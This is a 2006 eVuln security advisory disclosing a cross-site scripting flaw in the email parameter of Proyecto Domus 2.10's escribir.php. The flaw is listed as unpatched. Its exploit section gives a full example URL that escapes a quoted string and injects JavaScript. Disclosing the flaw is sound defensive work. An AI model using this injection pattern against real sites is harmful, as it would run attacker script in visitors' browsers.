EV0016.txt

`New eVuln Advisory:  
Proyecto Domus 'email' XSS Vulnerability  
  
--------------------Summary----------------  
  
Software: Proyecto Domus  
Sowtware's Web Site: http://domus.sourceforge.net/  
Versions: 2.10  
Critical Level: Harmless  
Type: Cross-Site Scripting  
Class: Remote  
Status: Unpatched  
Exploit: Available  
Solution: Not Available  
Discovered by: Aliaksandr Hartsuyeu ([email protected])  
Published: 2006.01.06  
eVuln ID: EV0016  
  
-----------------Description--------------  
Vulnerable script:  
escribir.php  
  
Variable $email isn't properly sanitized. This can be used to post arbitrary script code which will be executed in the browser of every visitor.  
  
  
--------------Exploit---------------------  
Example URL:  
http://host/domus/escribir.php?domus=ae29cf4d3f2dc42241e387d39b4126e2&hilo=1&padre=1&categoria=General&n=&usario=username&email=e@\';%20alert(123);%20var%20dss=\'h.co&asunto=blabla&texto=anytext&accion=enviar  
  
--------------Solution---------------------  
No Patch available.  
  
--------------Credit---------------------  
Original Advisory:  
http://evuln.com/vulns/16/summary.html  
  
Discovered by: Aliaksandr Hartsuyeu ([email protected])  
  
`